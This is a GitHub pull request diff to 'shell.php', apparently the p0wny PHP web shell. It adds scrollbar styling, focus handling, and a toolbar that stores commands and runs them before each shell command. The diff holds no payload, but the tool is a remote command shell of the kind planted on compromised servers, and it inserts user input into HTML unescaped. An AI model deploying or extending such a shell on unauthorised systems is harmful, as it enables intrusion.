Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature: Add toolbar environment variables #23

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open

Feature: Add toolbar environment variables #23

Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
9d52c77
Add click anywhere will focus to shell input
nakamuraos Jan 7, 2021
9e11f75
Added feature: Modify environment
nakamuraos Jan 11, 2021
1869365
Clear coding convention, fix conflict
nakamuraos Jan 25, 2021
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
167 changes: 162 additions & 5 deletions shell.php
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -118,6 +118,22 @@ function featureUpload($path, $file, $cwd) {
color: #eee;
font-family: monospace;
}

*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}

*::-webkit-scrollbar {
width: 8px;
height: 8px;
}

*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}

*::-webkit-scrollbar-track {
border-radius: 8px;
Expand Down Expand Up @@ -204,15 +220,18 @@ function featureUpload($path, $file, $cwd) {
border-top: rgba(255, 255, 255, .05) solid 1px;
}

#shell-input > label {
#shell-input > label,
#shell-environment > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}

#shell-input #shell-cmd {
#shell-input #shell-cmd,
#shell-environment select,
#shell-environment button {
height: 30px;
line-height: 30px;
border: none;
Expand All @@ -229,9 +248,40 @@ function featureUpload($path, $file, $cwd) {
align-items: stretch;
}

#shell-input input {
#shell-input input,
#shell-environment select,
#shell-environment button {
outline: none;
}

#shell-environment {
display: flex;
box-shadow: 0 1px 0 rgba(0, 0, 0, .3);
border-bottom: rgba(255, 255, 255, .05) solid 1px;
}

#shell-environment span {
display: inline;
}

#shell-environment button {
width: initial;
min-width: 35px;
font-weight: bold;
}

#shell-environment select option {
background: #222;
}

#shell-environment label,
#shell-environment button {
border-right: 1px solid rgba(255, 255, 255, .05);
}

#shell-environment button:hover {
background: rgba(255, 255, 255, .05);
}
</style>

<script>
Expand All @@ -240,6 +290,8 @@ function featureUpload($path, $file, $cwd) {
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
var CMD_ENV = [];
var promptAddEnv = "Type a comand...\nThis command will execute before your command.\nE.x: export HOME=\"/home/p0wny\"";

function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
Expand Down Expand Up @@ -267,6 +319,9 @@ function featureShell(command) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
if (!/^\s*(download|cd)\s+[^\s]+\s*$/.test(command)) {
command = attachEnvironment(command);
}
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(response.name, response.file)
Expand Down Expand Up @@ -397,7 +452,6 @@ function _onShellCmdKeyDown(event) {
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
Expand All @@ -413,9 +467,9 @@ function _onShellCmdKeyDown(event) {
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.value = commandHistory[historyPosition];
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
Expand Down Expand Up @@ -455,6 +509,94 @@ function getQueryString() {
};
xhr.send(getQueryString());
}

function _onAddEnvironment() {
var cmd = prompt(promptAddEnv);

if (cmd === null || cmd.trim() === '') {
return;
}

cmd = cmd.trim();
if (CMD_ENV.indexOf(cmd) === -1) {
CMD_ENV.push(cmd);

var env_list = document.getElementById("env-list");
if (env_list.options[env_list.selectedIndex].value === "") {
env_list.innerHTML = '';
}
env_list.insertAdjacentHTML( 'beforeend', '<option value="' + cmd + '" selected>$ ' + cmd + '</option>');

document.getElementById("env-applied").innerHTML = CMD_ENV.length;
document.getElementById("env-shell-prompt").setAttribute("title", CMD_ENV.length + " applied");
}
}


function _onEditEnvironment() {
if (!CMD_ENV.length) {
return;
}

var env_list = document.getElementById("env-list");
var env_selected = env_list.options[env_list.selectedIndex];
var new_cmd = prompt(promptAddEnv, env_selected.value);

if (new_cmd === null) {
return;
}

if (new_cmd.trim() === '') {
envRemove();
return;
}

new_cmd = new_cmd.trim();
CMD_ENV[env_list.selectedIndex] = new_cmd;
env_selected.value = new_cmd;
env_selected.label = "$ " + new_cmd;
}


function _onRemoveEnvironment() {
var env_list = document.getElementById("env-list");
var index = env_list.selectedIndex;

if (!CMD_ENV.length || !confirm("Are you sure want remove this command:\n$ " + env_list.options[index].value)) {
return;
}

env_list.remove(index);
CMD_ENV.splice(index, 1);

if (CMD_ENV.length === 0) {
env_list.innerHTML = '<option value="" selected>no environment</option>';
}

document.getElementById("env-applied").innerHTML = CMD_ENV.length;
document.getElementById("env-shell-prompt").setAttribute("title", CMD_ENV.length + " applied");
}

function attachEnvironment(cmd) {
if (CMD_ENV.length === 0) {
return cmd;
}
return CMD_ENV.join(";") + ";" + cmd;
}

document.addEventListener('click', function(e) {
e = e || window.event;
var selection = window.getSelection(),
target = e.target || e.srcElement;

if (target.tagName === "SELECT") {
return;
}

if(!selection.toString()) {
document.getElementById('shell-cmd').focus();
}
}, false);

document.onclick = function(event) {
event = event || window.event;
Expand All @@ -475,12 +617,27 @@ function getQueryString() {
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();

document.getElementById("env-add").addEventListener("click", function(){ _onAddEnvironment(); });
document.getElementById("env-edit").addEventListener("click", function(){ _onEditEnvironment(); });
document.getElementById("env-remove").addEventListener("click", function(){ _onRemoveEnvironment(); });
};
</script>
</head>

<body>
<div id="shell">
<div id="shell-environment">
<label id="env-shell-prompt" class="shell-prompt" title="0 applied">
<span>ENVIRONMENT[<span id="env-applied" title="">0</span>]</span>
</label>
<button id="env-add" class="env-add">&#10009;</button>
<button id="env-edit" class="env-edit">&#9999;</button>
<button id="env-remove" class="env-remove">&#10006;</button>
<select id="env-list">
<option value="" selected>no environment</option>
</select>
</div>
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
Expand Down